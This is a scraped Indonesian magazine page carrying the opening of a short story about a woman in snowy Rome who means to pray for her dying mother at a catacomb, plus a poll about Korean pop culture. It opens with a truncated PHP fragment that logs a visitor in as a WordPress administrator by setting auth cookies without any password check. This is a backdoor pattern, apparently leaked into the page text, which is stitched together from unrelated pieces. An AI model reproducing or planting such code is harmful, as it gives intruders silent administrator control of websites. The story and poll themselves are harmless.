user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Fiction
Cerpen: Katakombe Santa Fallecia

22 Dec 2017



SALJU YANG TURUN hampir sepanjang hari nyaris meruntuhkan niatnya. Petugas Hotel La Luimere di Piazza, tempatnya menginap, bahkan mengingatkan agar ia menunda perjalanan. “Il tempo e’ bruttissimo!” Cuaca yang buruk, katanya, tak hanya akan membuatmu kedinginan, namun juga didera rasa bosan. Andai kematian seperti perjalanan yang bisa ditunda.

Terbayang wajah ibunya yang berbaring pucat. Dokter sudah memberi tahu, Ibu tak lagi punya banyak waktu. Ia sesungguhnya tak terlalu percaya keajaiban, tapi ia teringat kata-kata Romo Pambudi, “Bila pun kamu tak percaya doa, tak ada salahnya bila kamu mendoakan ibumu.”

Di sela kesibukannya mengurus paroki, Romo yang santun dan penuh perhatian itu selalu menyempatkan mengunjungi ibunya yang sudah berbulan-bulan menjalani kemoterapi dan kondisinya makin lemah. Barangkali doa memang tidak menyembuhkan, tetapi membuat kita tidak kehilangan harapan.
Advertisement

Saat tahu ia akan ke Roma untuk urusan pekerjaan, Ibu berharap ia menyempatkan mengunjungi Katakombe Santa Fallecia yang diceritakan Romo Pambudi. “Lagi pula, Nak, doa tak pernah sia-sia,” suara ibunya lemah. Tapi, doa tak bisa menyelamatkan perkawinan Ibu.

Ibu, wanita Jawa yang sabar, menikah dengan lelaki yang lebih banyak menghabiskan kesibukan di luar rumah dan meninggalkannya untuk menikah dengan wanita yang lebih muda, tetapi tak lebih cantik. Ia saat itu berusia dua tahun lebih tua dari Westi, adiknya yang masih TK. Ibu menjadi begitu pendiam, dan kesehatannya dengan cepat menurun.

Ia menyangka ibunya terlalu mencintai lelaki itu, mengharapkannya kembali. Setelah ia masuk kuliah barulah menyadari, bukan lelaki itu yang membuat Ibu nyaris sepanjang hari berdiam diri, tetapi karena tak ingin anak-anaknya tahu
tentang penyakitnya.
 


Topic

#cerpen, #fiksifemina

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?